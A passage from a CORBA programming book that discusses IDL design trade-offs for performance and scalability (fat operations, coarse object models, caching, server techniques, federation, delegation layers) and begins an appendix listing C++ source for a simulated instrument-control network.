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The similarity of IDL to C++ class definitions makes it easy to approach IDL interface 
design the same way you would approach C++ class design. This similarity is both a 
boon and a bane. Because IDL is so similar to C++ in both syntax and semantics, most 
programmers quickly feel at home with the language and can begin to develop 
applications with only a small learning curve. However, pretending that IDL design is the 
same as C++ class design is likely to get you into trouble. Even though CORBA makes it 
easy to ignore details of distribution and networking, this does not mean that you can 
pretend that distribution and networking do not exist. It is easy to forget that sending a 
message to a remote object is several orders of magnitude slower than sending a message 
to a local object. Naive IDL design therefore can easily result in systems that work but 
are unacceptably slow. 

22.3.1 Basic IIOP Performance Limitations 

To get at least a basic idea of the fundamental performance parameters within which you 
must create your design, you must know the cost of sending remote messages. This cost 
is determined by two factors: latency and marshaling rate. Call latency is the minimum 
cost of sending any message at all, whereas the marshaling rate determines the cost of 
sending and receiving parameter and return values depending on their size. 

Call Latency 

The cheapest message you can send is one that has no parameters and does not return a 
result: 
        
interface Cheap { 
    oneway void fast_operation(); 
}; 
 
       
The number of fast_operation invocations that your ORB can deliver per time 
interval sets a fundamental design limit: you cannot hope to meet your performance goals 
if your design requires more messages to be sent per time interval than your ORB can 
deliver. 
 
Unfortunately, the only real way to find out what your ORB is capable of is to create 
benchmarks. The cost of call dispatch varies considerably among environments and 
depends on a large number of variables, such as the underlying network technology, the 
CPU speed, the operating system, the efficiency of your TCP/IP implementation, your 
compiler, and the efficiency of the ORB run time itself. To give you a rough idea of the 
state of current technology, general-purpose ORBs have call dispatch times of between 
0.5 msec and 5 msec. In other words, depending on your ORB implementation, you can 
expect a maximum call rate of 200 to 2,000 operation invocations per second. (We 
obtained these figures by running a client and a server on different machines connected 
by an otherwise unused 10 Mb Ethernet; client and server were running on typical UNIX 
workstations and were implemented using a number of commercial general-purpose 
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ORBs. As pointed out earlier, you must run appropriate benchmarks yourself to 
determine the call dispatch cost for your particular environment.) 
 
Whether your ORB is capable of sending 200 or 2,000 invocations per second, the main 
point is that a remote call is several orders of magnitude slower than a local call. (On an 
average UNIX workstation, you will be able to easily achieve more than 1,000,000 local 
C++ function calls per second.) 

Marshaling Rate 

The second factor that limits the speed of remote invocations of an ORB is its marshaling 
rate—that is, the speed with which an ORB can transmit and receive data over the 
network. Marshaling performance depends on the type of data transmitted. Simple types, 
such as arrays of octet, typically marshal fastest. (This is not surprising considering 
that an ORB can marshal arrays of octet by doing a simple block copy into a transmit 
buffer.) On the other hand, marshaling highly structured data, such as nested user-defined 
types or object references, is usually much slower because the ORB must do more work 
at run time to collect the data from different memory locations and copy it into a transmit 
buffer. Most ORBs also slow down significantly when marshaling any values containing 
complex data, mainly because the type codes for complex data are themselves highly 
structured. 
 
Again, marshaling rates vary widely among various combinations of network, hardware, 
operating system, compiler, and ORB implementation. As a rough guide, you can expect 
marshaling rates between 200 kB/sec and 800 kB/sec between average UNIX 
workstations over a 10 Mb Ethernet, depending on the type of data and your ORB. You 
must conduct your own benchmarks to obtain reliable figures for your environment. 

22.3.2 Fat Operations 

As the preceding discussion shows, call latency is a major limiting factor in the 
performance of a distributed system. Even assuming a fast call dispatch rate of 1,000 
calls per second, it becomes clear that making any remote call is expensive, at least when 
compared with the cost of making a local call. In addition, the overall cost of remote calls 
is dominated by the call latency until parameters reach several hundred bytes in size, so 
an invocation without parameters takes about the same time as an invocation that 
transmits a few parameters. 

IDL for Fat Operations 

One way to design a more efficient system, therefore, is to make fewer calls overall. For 
small parameters up to a few hundred bytes the cost of a remote invocation is essentially 
constant, so we might as well make calls worthwhile by sending more data with each call. 
This design trade-off is also known as the fat operation technique. Consider again the 
Thermometer interface from the climate control system: 
        
interface Thermometer { 
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    readonly attribute ModelType    model; 
    readonly attribute AssetType    asset_num; 
    readonly attribute TempType     temperature; 
             attribute LocType      location; 
}; 
 
       
This interface uses a fine-grained approach to object modeling by making each piece of 
state a separate attribute. This design is both clean and easy to understand, but consider a 
client that has just obtained a thermometer reference, for example, from a list or find 
operation. To completely retrieve the state of the thermometer, the client must make four 
remote calls, one for each attribute. In addition, we would expect that the client is highly 
likely to make these calls (or at least some of them) because a thermometer is not very 
interesting unless we know something about its state. We can reduce the number of 
messages by changing the Thermometer interface as follows: 
        
struct ThermometerState { 
    ModelType   model; 
    AssetType   asset_num; 
    TempType    temperature; 
    LocType     location; 
}; 
 
interface Thermometer { 
    ThermometerState    get_state(); 
    void                set_location(in LocType location); 
}; 
 
       
Instead of modeling each piece of state with a separate attribute, this interface provides 
the get_state operation to return all of a thermometer's state with a single call. The 
set_location operation allows us to update a thermometer's location. Because a 
thermometer has only a single writable attribute, set_location accepts a string 
parameter. However, for interfaces with several writable attributes, we could combine all 
the writable attributes into a structure and create a set_state operation that updates all 
attributes with a single call. 
 
This technique not only applies to things such as thermometers but also works effectively 
for collection manager operations, such as list: 
        
interface Controller { 
    typedef sequence<Thermometer> ThermometerSeq; 
   
    ThermometerSeq list(); 
    // ... 
}; 
 
       
Again, consider a client calling list. It is highly likely that the client will immediately 
retrieve the state information for the devices returned by list; otherwise, there would 
be no point in calling the operation. This requires sending as many messages as there are 
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devices in the system. Again, we can apply the fat operation technique to reduce 
messaging overhead: 
        
struct ThermometerState { 
    ModelType   model; 
    AssetType   asset_num; 
    TempType    temperature; 
    LocType     location; 
}; 
 
// ... 
 
interface Controller { 
    struct ListItem { 
        Thermometer         ref; 
        ThermometerState    state; 
    }; 
    typedef sequence<ListItem> ThermometerSeq; 
     
    ThermometerSeq list_thermometers(); 
    // ... 
}; 
 
       
With this IDL definition, a client calling list_thermometers receives not only the 
object references for all thermometers but also the current state information. As a result, 
the client does not have to make additional calls to retrieve the state for each thermometer. 
The fat operation technique can result in substantial performance gains. With the fat 
list_thermometers operation, we achieve in a single invocation what took 4N + 1 
operations in the original CCS design, where N is the number of thermometers. The price 
we pay is that completing a list_thermometers operation takes longer than 
completing an individual get_state operation because list_thermometers 
transmits more data. However, for large numbers of thermometers, 
list_thermometers is likely to be substantially faster because it saves the call 
dispatch overhead for N remote calls. Let us assume a marshaling rate of 500 kB/sec for 
list_thermometers, a call latency of 2 msec, and a system containing 10,000 
thermometers. If each individual ListItem structure contains 250 bytes of data, a call 
to list_thermometers takes about five seconds. In contrast, using our original CCS 
IDL, retrieving the state for all 10,000 thermometers requires 40,001 remote calls, and 
that takes about 80 seconds. 

Evaluating Fat Operations 

At this point, you may be jubilantly concluding that fat operations are the answer to all 
your performance problems. Before you rush to this conclusion, let us examine some of 
the trade-offs involved. 
 
The fat operation technique is very sensitive to the number of devices and the call latency 
and marshaling rate of your ORB. For example, if we assume a slower marshaling rate of 
250 kB/sec but a call latency of 1 msec with 1,000 devices, the original CCS design 
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results in an overall time of four seconds, whereas the fat list_thermometers 
operation requires one second to execute. In other words, the performance difference 
between the two approaches shrinks from a factor of 16 to a factor of 4. 
 
Fat collection manager operations do not scale to large numbers of items. For 10,000 
devices, list_thermometers returns around 2.5 MB of data. This number is already 
at or beyond the limit of the maximum call size for many general-purpose ORBs. If 
instead we have 100,000 devices, list_thermometers must return 25 MB of data, 
which is likely to exceed the memory limitations of either client or server on many 
systems. 
 
You can easily get around these problems by adding iterator interfaces to limit the size of 
the data returned by each call. However, iterators make your design and implementation 
more complex. In addition, for a robust system, you must deal with garbage collection of 
iterators (see Chapter 12). 
 
The fat operation technique uses structures instead of interfaces that encapsulate state. As 
a result, it is more difficult to modify the system later so that it remains backward-
compatible. You cannot create a new version by deriving new interfaces from the old 
ones. 
 
In general, the fat operation technique works best if you have large numbers of objects 
that hold a small amount of state. This is because the fat operation technique works best 
if the overall cost is dominated by call latency. As soon as individual objects hold more 
than a few hundred bytes of state, the overall cost is likely to be dominated by the 
marshaling rate, and the fat operation technique suffers from diminishing returns. 
 
The most serious drawback of the fat operation technique is more subtle. If you look 
again at the IDL on page 999, you will notice that the list_thermometers operation 
can handle only thermometers, whereas the list operation in the original CCS design is 
polymorphic—that is, it can return a list containing both thermometers and thermostats. 
In other words, the fat operation technique loses polymorphism because IDL provides 
only polymorphic interfaces and not polymorphic values.[1]  

[1] The Objects-By-Value functionality added with CORBA 2.3 allows you to create polymorphic 
values by extending inheritance to value types. However, the OBV specification is very new 
and still suffers from a number of technical problems. In addition, OBV implementations are 
not available as of this writing, so we do not cover OBV in this book. 

We can modify our interfaces so that a single list operation can return the state of both 
thermometers and thermostats, but we lose simplicity: 
        
// ... 
 
struct ThermometerState { 
    ModelType   model; 
    AssetType   asset_num; 
    TempType    temperature; 
    LocType     location; 
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}; 
 
struct ThermostatState { 
    TempType    nominal_temp; 
}; 
 
union ThermostatStateOpt switch(boolean) { 
case TRUE: 
    ThermostatState state; 
}; 
 
struct DeviceState { 
    ThermometerState    thermo_state; 
    ThermostatStateOpt  tmstat_state; 
}; 
 
interface Controller { 
    struct ListItem { 
        Thermometer ref; 
        DeviceState state; 
    }; 
    typedef sequence<ListItem> DeviceSeq; 
 
    DeviceSeq list(); 
    // ... 
}; 
 
       
This design simulates polymorphism for the list operation by adding the 
tmstat_state union member to the DeviceState structure. If a particular device 
returned by list is a thermostat, the ThermostatStateOpt union contains the 
additional state specific to thermostats; otherwise, for thermometers, the 
ThermostatStateOpt union contains no active member. (There are other choices for 
simulating polymorphism, such as designs using any values. The trade-offs are largely 
the same for the alternative designs.) 
 
This approach works, but it loses a lot of elegance. In addition, simulated polymorphism 
is much harder to extend to new device types later because every new device type 
requires modification of the DeviceState structure. 
 
If you examine the preceding IDL, its inelegance will probably put you off sufficiently to 
reject this design. If it does, you are correct: fat operations simply do not agree with 
polymorphism, so you should limit the fat operation technique to situations that do not 
require derived interfaces. 

22.3.3 Coarse Object Models 

A more extreme performance optimization than the fat operation technique is to reduce 
the granularity of the object model. This technique relies on replacing interfaces with data: 
       
#pragma prefix "acme.com" 
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module CCS { 
    // ... 
 
    struct Thermometer { 
        ModelType   model; 
        AssetType   asset_num; 
        TempType    temperature; 
        LocType     location; 
    }; 
 
    struct Thermostat { 
        ModelType   model; 
        AssetType   asset_num; 
        TempType    temperature; 
        LocType     location; 
        TempType    nominal_temp; 
    }; 
 
    interface Controller { 
        exception BadAssetNumber    {}; 
        exception NotThermostat     {}; 
        exception BadTemp           { /* ... */ }; 
 
        Thermometer get_thermometer(in AssetType anum) 
                        raises(BadAssetNumber); 
        void        set_loc(in AssetType anum, in LocType loc) 
                        raises(BadAssetNumber); 
        Thermostat  get_thermostat(in AssetType anum) 
                        raises(BadAssetNumber); 
        void        set_nominal(in AssetType anum, in TempType t) 
                        raises( 
                            BadAssetNumber, NotThermostat, BadTemp 
                        ); 
 
        // Fat operations to get and set large numbers of 
        // thermometers and thermostats here... 
    }; 
}; 
 
      
In this design, we eliminate thermometer and thermostat objects and replace them with 
structures. This design offers a number of performance advantages. 
 
We reduce the number of CORBA objects in the system to one by retaining only the 
controller object. This results in a server that requires less code and data at run time and 
so is likely to scale to a larger number of objects. 
 
Turning objects into data acts as a primitive form of caching. A client holds all of a 
device's state locally, so repeated read accesses to a particular device do not require a 
remote message. 
 
For clients that want to deal with thousands of devices simultaneously, we eliminate the 
need to hold object references. This substantially reduces memory requirements because 
the client no longer holds a proxy object for each device. 
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Naturally, using a coarse object model also has drawbacks. 
 
Coarse object models lose some type safety. For example, the preceding design requires a 
BadAssetNumber exception on every operation in case a client supplies a non-existent 
asset number. In the original CCS design, this error condition could never arise because 
the asset number was implicit in the object reference for each device. 
 
Coarse object models are not polymorphic. Each client must explicitly be aware of all 
possible types of object and requires modification if more specialized versions of objects 
are later added to the system. Moreover, coarse object models create error conditions that 
would otherwise be absent. For example, the set_nominal operation has a 
NotThermostat exception because a client might specify the asset number of a 
thermometer for the operation, but a thermometer does not have a nominal temperature 
attribute. 
 
Thermometers and thermostats are no longer stand-alone entities that can be passed from 
address space to address space. Suppose that we have located a thermostat of interest and 
want to pass the thermostat to another process that adjusts the desired temperature for us. 
With the original CCS design, this is trivial: we simply pass the reference to the relevant 
thermostat. However, with a coarse object model, it is not sufficient to pass only a 
Thermostat structure. Instead, we must pass both the structure and a reference to the 
controller because the receiver of the structure may not know which particular controller 
is responsible for this particular thermostat. If your application has more than one 
collection manager for a particular type of object, the need to track the associations 
between the collection managers and their objects can complicate the design considerably. 
 
In general, the coarse object model approach works well if you do not require 
polymorphism and if objects are simple, small collections of attributes without behavior. 
In this case, objects provide set/get semantics for only a small number of attributes and so 
might as well be represented as structures. Coarse object models are similar to the fat 
operation technique in that they reduce messaging overhead. However, the main value of 
coarse object models is that they can improve scalability because they reduce the memory 
overhead for clients and servers dealing with large numbers of objects. 

22.3.4 Client-Side Caching 

Both fat operations and coarse object models enable client-side caching of state. After a 
client has retrieved the state for a particular object, it can keep a local copy of that state. 
Future read operations on the object can be satisfied by returning state from the local 
copy and so do not require a remote invocation. For update operations, the client can send 
a remote message as usual to update the state information for the object in the server. 
 
Read accesses typically account for more than 95% of the total number of operations in a 
distributed system, so client-side caching can result in a dramatic reduction of the number 
of remote messages that are sent. Unfortunately, client-side caching also has a number of 
drawbacks. 
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After a client invokes an operation, the client loses its thread of control until the operation 
completes. CORBA does not provide standard APIs to intercept call dispatch on the 
client side. This makes it impossible to implement client-side caching transparently. 
Either we must create C++ wrapper classes for object references and implement the 
caching functionality in these wrapper classes, or we must modify the IDL for an object 
so that it presents itself as data instead of as an interface. Neither approach is particularly 
elegant.[2]  

[2] Note that some ORBs offer proprietary extensions that allow you to replace the 
normal client-side proxy with a class of your own, known as a smart proxy. The 
smart proxy adds client-side caching transparently to the main application logic. 
However, smart proxies are not portable. 

Client-side caching suffers from cache coherency problems. Cache coherency is lost if 
each of several clients caches the state for the same object and one or more clients invoke 
an update operation on the object. Even though each client writes its update straight 
through to the object by sending a remote message, other clients do not know this has 
happened and now hold an out-of-date copy. 
 
To realize the performance benefits associated with client-side caching, you may be 
prepared either to dilute your object model or to use proprietary interfaces. However, we 
urge you not to underestimate the potential problems caused by loss of cache coherency. 
You will find quite a bit of CORBA literature that suggests solving the cache coherency 
problem by making a callback from the server to each client that holds a local copy of an 
updated object. The callbacks inform the clients that they are holding an out-of-date copy 
and possibly refresh the state of that copy. 
 
However, the callback approach for cache coherency suffers from all the problems 
presented in Section 20.3 and is very difficult to scale. In addition, it is extremely 
difficult to maintain cache coherency for multiple clients without race conditions. Naive 
approaches lose as much performance in maintaining coherency as they gain by having 
client-side caching in the first place; typically, implementing more sophisticated 
approaches is too expensive as part of normal application development. 
 
If you are considering the use of client-side caching, we suggest that you limit caching to 
situations in which clients have a natural one-to-one relationship with the objects whose 
state they cache. Provided each object is cached only by exactly one client, you avoid all 
cache coherency problems. If you want to apply client-side caching to objects that are 
shared by a number of clients, we recommend that you consider using the OMG 
Concurrency Control Service or Transaction Service (see [21] for details on both 
services). 

22.4 Optimizing Server Implementations 

Because CORBA is server-centric, most opportunities to improve performance and 
scalability present themselves on the server side. Because we have already seen the 
mechanisms involved, we briefly summarize the design techniques here. Note that these 
techniques are not mutually exclusive. Because you can create multiple POAs with 
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different policies in the same server, you can apply more than one technique for different 
objects or even dynamically choose a technique at run time based on the access patterns 
of clients. 

22.4.1 Threaded Servers 

Threading should undoubtedly be at the top of your list when it comes to performance 
improvements. If a server is single-threaded, all calls from clients are serialized at the 
server end. If individual operations do a significant amount of work and run for more 
than a millisecond or so, single-threaded servers severely limit throughput. Note that 
threaded servers often perform better than non-threaded servers even on single-CPU 
machines because multithreaded servers can take advantage of I/O interleaving. 
 
Keep in mind that you must plan for threading when you first design your server. It is 
highly unlikely that you will be able to add threading to a server that was designed as 
single-threaded program. Often, attempts to back-patch threading end up being more 
expensive than a complete reimplementation. 

22.4.2 Separate Servant per Object 

Typically, creating a permanent and separate servant for each CORBA object provides 
the best overall performance. Because each servant is permanently in memory, the ORB 
run time can dispatch calls directly without having to rely on a servant activator or 
locator to bring the servant into memory. The separate servant per object approach is 
most suitable for servers that can afford to hold all objects they provide in memory 
simultaneously. 

22.4.3 Servant Locators and Activators 

You can use servant locators or servant activators to activate servant instances on demand. 
Even if you have sufficient memory to hold all servants in memory simultaneously, 
servant activation can still be useful. If objects are expensive to initialize—for example, 
because initialization requires accessing a slow network—it may take too long to 
instantiate all servants during server start-up before an event loop is started. In this case, 
servant activation permits you to distribute the initialization cost over time instead of 
incurring it all at once during start-up. In addition, objects that are never used by clients 
are never initialized, whereas initialization during server start-up incurs the cost whether 
or not objects are used. 

22.4.4 Evictor Pattern 

The Evictor pattern (see Section 12.6) is most suitable for servers that need to scale to 
large numbers of objects but cannot hold a servant for all objects in memory 
simultaneously. In other words, the Evictor pattern sacrifices some performance in order 
to limit memory consumption. For many servers, the Evictor pattern provides excellent 
service, assuming that the server can hold at least the working set of objects in memory. 
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22.4.5 Default Servants 

Default servants allow you to implement an unlimited number of CORBA objects with a 
single C++ object instance. The main motivation for default servants is to increase 
scalability. Default servants allow you to exercise tight control over memory 
consumption at the price of losing some performance because default servants incur the 
cost of mapping object IDs to object state repeatedly for each operation. However, using 
default servants, the number of objects a server can support is effectively unlimited. 
Often, default servants are used as front-end objects for large database lookups; in that 
case, the number of objects a server can implement is limited only by the capacity of 
secondary storage. 

22.4.6 Manufactured Object References 

The create_reference_with_id operation on the POA interface decouples the 
life cycle of an object reference from the life cycle of its servant. This behavior is 
particularly useful if you must efficiently deliver object references as operation results. 
For example, the implementation of the list operation in the CCS controller benefits 
substantially from the ability to manufacture an object reference without having to 
instantiate a servant first. Note, however, that manufactured object references require you 
to also provide on-demand servant activation. 

22.4.7 Server-Side Caching 

The Evictor pattern provides an effective caching mechanism for object state if you have 
a distinct servant for each object. However, you can apply server-side caching at multiple 
levels. For example, a server that provides access to a database can choose to cache parts 
of the database in memory. You can combine such low-level caching with object-level 
caching to create a primary and a secondary cache. Such designs can result in excellent 
performance gains when properly matched to the access patterns of clients. In addition, 
server-side caching avoids the cache coherency problems of client-side caching 
(assuming that the server can guarantee coherency of its database cache). 

22.5 Federating Services 

Sooner or later, all the techniques just discussed fail. When client demand permanently 
outstrips server performance, no amount of clever caching can magically create the 
required performance. Typically, this situation arises in very large systems in which there 
are simply too many clients and objects for a single server to handle. In these situations, 
you have no choice except to distribute the processing load over a number of federated 
servers. 
 
The OMG Naming, Trading, and Event Services are all examples of designs that federate 
naturally and easily. This is no accident—when you look at these services closely, 
federating them works for the following reasons. 
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Each interface deals with a well-defined and orthogonal piece of functionality. 
 
The servers in the federation are either ignorant of the fact that they are federated, or, 
alternatively, each server has knowledge only of its immediate neighboring servers and 
not of the federation as a whole. 
 
Clearly, the first point is not particular to federated services; rather, it is a sign of well-
defined interfaces in general. However, the second point is extremely important. Any 
attempt to federate more than four or five servers is likely to fail if the servers share 
global state in some form. Global state is the enemy of scalability [40]. For example, a 
federated design that requires every server in the federation to know about certain state 
changes cannot scale because the probability of at least one server being non-functional 
at any given time asymptotically approaches one as the number of servers increases [5]. 
 
If you decide on a federated design, make sure to strictly localize knowledge of the 
federation, and do not make any assumptions that rely on global state. You can use the 
Naming, Trading, and Event Services as a source of inspiration for your design. In 
addition, you should consider using the Trading Service if you want to provide a 
homogeneous view of the federated service to clients. 

22.6 Improving Physical Design 

Physical design refers to the way you distribute the functional components of an 
application over source files. In many ways, correct physical design of a system is just as 
important as the choice of the correct object model. If you correctly partition 
functionality over source files, maintainability and reusability of your code base will be 
greatly enhanced. Good physical design pays off as the system evolves over time because 
it reduces both complexity and the likelihood of errors being introduced as changes are 
made (see [11] for an excellent treatment of these topics). 
 
In a CORBA context, it is useful to limit the extent to which CORBA-related 
functionality is visible throughout the system. This involves keeping the bulk of the 
source code free from CORBA artifacts and isolating all of the CORBA-related code in a 
few source files. Such an overall physical design is shown in Figure 22.1. 

Figure 22.1 Separation of CORBA code from the business logic. 
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This design separates the application code into two major sections. The core of the 
application, which contains the business logic (and typically most of the development 
investment), resides in a separate set of source files. None of these source files includes 
any ORB-related or IDL-generated header files. Instead, the core source files implement 
the bulk of the application using normal C++ classes and data types. 
 
The core logic part of the code offers C++ interfaces to a delegation layer. The purpose of 
the delegation layer is to receive CORBA invocations from clients on one side and on the 
other side to delegate these invocations to the core logic in form of ordinary C++ method 
calls that use only C++ data types. 
 
With this design, we achieve a clean separation of concerns. One part of the 
application—the delegation layer in a separate set of source files—deals with enabling 
the application for remote access via CORBA. The other (typically far larger) part of the 
application—the core logic in its own set of source files— implements the application 
semantics. Because the core source files do not include any CORBA header files, they are 
ignorant of the presence of CORBA in the system. 
 
Using such a design offers quite a few advantages. 
 
The design makes sense architecturally because it cleanly separates code related to 
remote communication from the main application body. 
 
The header files generated by the IDL compiler for the C++ mapping can be large. 
Restricting the use of these headers to a small number of source files can yield dramatic 
reduction of compile and link times, with a corresponding reduction in development costs. 
Most of the source code is not concerned with the details of the C++ mapping. For large 
projects, the main advantage is that not every developer need be proficient in using the 
C++ mapping. Instead, the developers working on the core logic can use any established 
framework or class library they prefer. 



IT-SC book: Advanced CORBA® Programming with C++ 

 867

The core logic of the application can be tested separately from the CORBA-related 
functionality. You can use existing testing tools and debug the core logic without getting 
distracted by CORBA-related problems. 
 
If your ORB contains a bug in its C++ mapping or in the way application code interacts 
with the skeleton, you can implement a work-around by touching only the delegation 
layer. Without such a layer, any work-around would likely affect a large number of 
source files and be much more costly to implement. 
 
CORBA-related portability problems are isolated in the delegation layer. This is 
important if your code must work with ORBs from several vendors. Although the POA 
addresses most of the server-side portability issues, many applications are still written 
using the deprecated BOA. In addition, it is likely that the BOA legacy will be with us for 
some time to come. A delegation layer permits you to easily port the code between 
different implementations of the BOA and the POA while disturbing only a small part of 
the code base. 
 
The delegation layer is a simple piece of code that contains almost no intellectual 
investment and can easily be written in a few days for even quite large interfaces. This 
means that you can afford to throw the delegation layer away if you move to a different 
ORB (or even an infrastructure other than CORBA) instead of trying to endlessly port the 
core logic. This is particularly important for long-lived applications that are maintained 
and adapted to different environments over many years. 
 
These advantages are attractive, but, as always, they are balanced by a number of 
drawbacks. 
 
A delegation layer as outlined here is difficult to back-patch into existing code, so 
typically it can be implemented only for new development projects. 
 
The delegation layer adds to the run-time overhead of the application. For one thing, it 
must translate every incoming IDL type into a corresponding C++ type. Second, after the 
C++ call completes, it must translate any results delivered as C++ types back into IDL 
types. 
 
The delegation layer creates a slight increase in code size. In addition, depending on the 
number of objects the application must support, it can increase the data size because of 
the need to map from servant instances in the delegation layer to corresponding C++ 
instances in the core logic. For every pair of such objects, you must keep an entry in a 
data structure similar to the Active Object Map. 
 
As a rule, the advantages of a delegation layer far outweigh the disadvantages. Typically, 
the additional CPU time spent on copying between IDL and C++ data types is small 
compared with the overall execution time, so you will notice a performance degradation 
only if you are moving large amounts of data across the IDL interfaces. Similarly, the 
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increase in memory footprint is usually insignificant compared with the total memory 
requirements. 
 
The idea of a delegation layer is not new. A CORBA delegation layer is simply an 
application of the well-known Adapter pattern [4]. This pattern can be used in a variety 
of situations, such as the integration of legacy systems into CORBA. Whether the design 
we outline here is appropriate for you depends on your application. In some cases, the 
additional cost of delegation will be larger than you are willing to tolerate. In addition, 
the picture we have presented here is oversimplified. For example, if the core logic must 
make calls to other CORBA objects in turn, you must funnel such calls through a separate 
layer that takes care of sending invocations when the core logic acts as the client instead 
of the server. However, the effort you spend on implementing such a design is typically 
repaid many times over the lifetime of the system. We have successfully implemented 
this design for a number of different applications. 

22.7 Summary 

A number of approaches exist for making your CORBA applications scalable, portable, 
and maintainable without sacrificing performance. In evaluating these techniques, you 
will find that they often involve trade-offs, as in the case of interfaces that contain many 
operations that return small amounts of data versus interfaces that have fat operations and 
return data in bulk. Passing data around versus encapsulating it in objects is always a 
topic of heated debate among distributed system architects and designers. Other 
techniques you may want to consider include the optimization of server applications with 
respect to method invocation overhead and memory consumption by servants. Federation 
can be used to distribute server load across separate processes. Physical design also 
presents opportunities for reducing maintenance overhead and enhancing portability by 
isolating an application's business logic from its CORBA code. 
 
We have kept the discussion in this chapter at a fairly high level and have kept our 
treatment of these topics light. Not only do we provide many related details throughout 
the rest of the book, but also there is no practical way to include all the necessary details 
concerning application performance, scalability, and maintainability in a single chapter. 
Nevertheless, exploring and experimenting with the ideas we present here will help you 
learn how to develop high-performance, scalable, and maintainable CORBA-based 
systems. 
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Appendix A. Source Code for the ICP 
Simulator 

A.1 Overview 

If you want to experiment with the code in this book, you will require an implementation 
of the ICP API we used for our hypothetical instrument control protocol. The following 
two sections list source code to simulate the ICP network in your server. 
 
Section A.2 shows source code for an in-memory implementation. This 
implementation keeps a map of the network devices in memory and provides access to 
the state of devices via the ICP API shown in Section 10.3. The state of the simulated 
network is not written to disk in this implementation, so when your server shuts down all 
state changes are lost. 
Section A.3 augments the implementation with a very simple persistence mechanism. 

A.2 Transient Simulator Code 

The non-persistent ICP simulator applies to the server implementation in Chapter 10. 
The simulator uses an STL map that maps device IDs to structures of type 
DeviceState. A DeviceState structure stores the type (thermometer or 
thermostat), model string, location, and nominal temperature for each device. For 
simplicity, we use the same DeviceState structure for both types of devices even 
though thermometers do not have a nominal temperature. (The nominal_temp field is 
unused for thermometers.) The four API calls to add and remove devices and to access 
attributes manipulate the map of devices held in the static variable dstate. 
 
Because we do not have real devices that would store a real model string in read-only 
memory, we use the asset number to assign a model string to each device: odd asset 
numbers denote thermometers, and even asset numbers denote thermostats. 
 
In a real climate control system, the actual temperature of a room varies around the 
selected nominal temperature. The vary_temp function simulates this variation by 
returning a temperature that deviates by as much as three degrees from the passed 
temperature. 
 
To decide what temperature to return for a particular device, we use the actual_temp 
function. Given an iterator that indicates the device whose temperature is to be returned, 
the function locates all thermostats in the same room as the given device and calculates 
the average of their nominal temperatures. That average is passed to vary_temp to 
simulate temperature fluctuations. If the given device is a thermometer in a room that 
contains no thermostat, the actual temperature fluctuates around DFLT_TEMP. 
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#include    <string> 
#include    <map> 
#include    <algorithm> 
#include    <stdlib.h> 
#include    "icp.h" 
//---------------------------------------------------------------- 
enum DeviceType { thermometer, thermostat }; 
struct DeviceState {                // State for a device 
    DeviceType      type; 
    const char *    model; 
    string          location; 
    short           nominal_temp;   // For thermostats only 
}; 
typedef map<unsigned long, DeviceState> StateMap; 
//---------------------------------------------------------------- 
const size_t MAXSTR = 32;       // Max len of string including NUL 
const short MIN_TEMP = 40;      // 40 F ==  4.44 C 
const short MAX_TEMP = 90;      // 90 F == 32.22 C 
const short DFLT_TEMP = 68;     // 68 F == 20.00 C 
static StateMap dstate;         // Map of known devices 
//---------------------------------------------------------------- 
// ICP_online() simulates adding a new device to the network by 
// adding it to the dstate map. 
// 
// For this simple simulation, devices with odd a sset numbers 
// are thermometers and devices with even asset numbers 
// are thermostats. 
// 
// Thermostats get an initial nominal temperature of DFLT_TEMP. 
// The location string is intentionally left blank because it 
// must be programmed by the controller after putting the device 
// on-line (as should be the nominal temperature). 
// 
// If a device with the specified ID is already on-line, the 
// return value is -1. A zero return value indicates success. 
extern "C" 
int 
ICP_online(unsigned long id) 
{ 
    // Look for id in state map. 
    StateMap::iterator pos = dstate.find(id); 
    if (pos != dstate.end()) 
        return -1;                          // Already exists 
    // Fill in state. 
    DeviceState ds; 
    ds.type = (id % 2) ? thermometer : thermostat; 
    ds.model = (ds.type == thermometer) 
                ? "Sens-A-Temp" : "Select-A-Temp"; 
    ds.nominal_temp = DFLT_TEMP; 
    // Insert new device into map 
    dstate[id] = ds; 
    return 0; 
} 
//---------------------------------------------------------------- 
// ICP_offline() simulates removing a device from the network by 
// removing it from the dstate map. If the device isn't known, the 
// return value is -1. A zero return value indicates success. 
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extern "C" 
int 
ICP_offline(unsigned long id) 
{ 
    // Look for id in state map 
    StateMap::iterator pos = dstate.find(id); 
    if (pos == dstate.end()) 
        return -1;                              // No such device 
    dstate.erase(id); 
    return 0; 
} 
//---------------------------------------------------------------- 
// vary_temp() simulates the variation in actual temperature 
// around a thermostat. The function randomly varies the 
// temperature as a percentage of calls as follows: 
// 
//      3 degrees too cold:      5% 
//      3 degrees too hot:       5% 
//      2 degrees too cold:     10% 
//      2 degrees too hot:      10% 
//      1 degree too cold:      15% 
//      1 degree too hot:       15% 
//      exact temperature:      40% 
static 
short 
vary_temp(short temp) 
{ 
    long r = lrand48() % 50; 
    long delta; 
    if (r < 5) 
        delta = 3; 
    else if (r < 15) 
        delta = 2; 
    else if (r < 30) 
        delta = 1; 
    else 
        delta = 0; 
     if (lrand48() % 2) 
        delta = -delta; 
    return temp + delta; 
} 
//---------------------------------------------------------------- 
// Function object. Locates a thermostat that is in the same room 
// as the device at position pos. 
class ThermostatInSameRoom { 
public: 
            ThermostatInSameRoom( 
                const StateMap::iterator & pos 
            ) : m_pos(pos) {} 
    bool    operator()( 
                pair<const unsigned long, DeviceState> & p 
            ) const 
            { 
                return( 
                        p.second.type == thermostat 
                        && p.second.location 
                                == m_pos->second.location 
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                ); 
            } 
private: 
    const StateMap::iterator & m_pos; 
}; 
//---------------------------------------------------------------- 
// actual_temp() is a helper function to determine the actual 
// temperature returned by a particular thermometer or thermostat. 
// The pos argument indicates the device. 
// 
// The function locates all thermostats that are in the same room 
// as the device denoted by pos and computes the average of all 
// the thermostats' nominal temperatures. (If no thermostats are 
// in the same room as the device, the function assumes that the 
// average of the nominal temperatures is DFLT_TEMP.) 
// 
// The returned temperature varies from the average as 
// determined by vary_temp(). 
static 
short 
actual_temp(const StateMap::iterator & pos) 
{ 
    long sum = 0; 
    long count = 0; 
    StateMap::iterator where = find_if( 
                                    dstate.begin(), dstate.end(), 
                                    ThermostatInSameRoom(pos) 
                               ); 
    while (where != dstate.end()) { 
        count++; 
        sum += where->second.nominal_temp; 
        where = find_if( 
                    ++where, dstate.end(), 
                    ThermostatInSameRoom(pos) 
                ); 
    } 
    return vary_temp(count == 0 ? DFLT_TEMP : sum / count); 
} 
//---------------------------------------------------------------- 
// ICP_get() returns an attribute value of the device with the 
// given id. The attribute is named by the attr parameter. The 
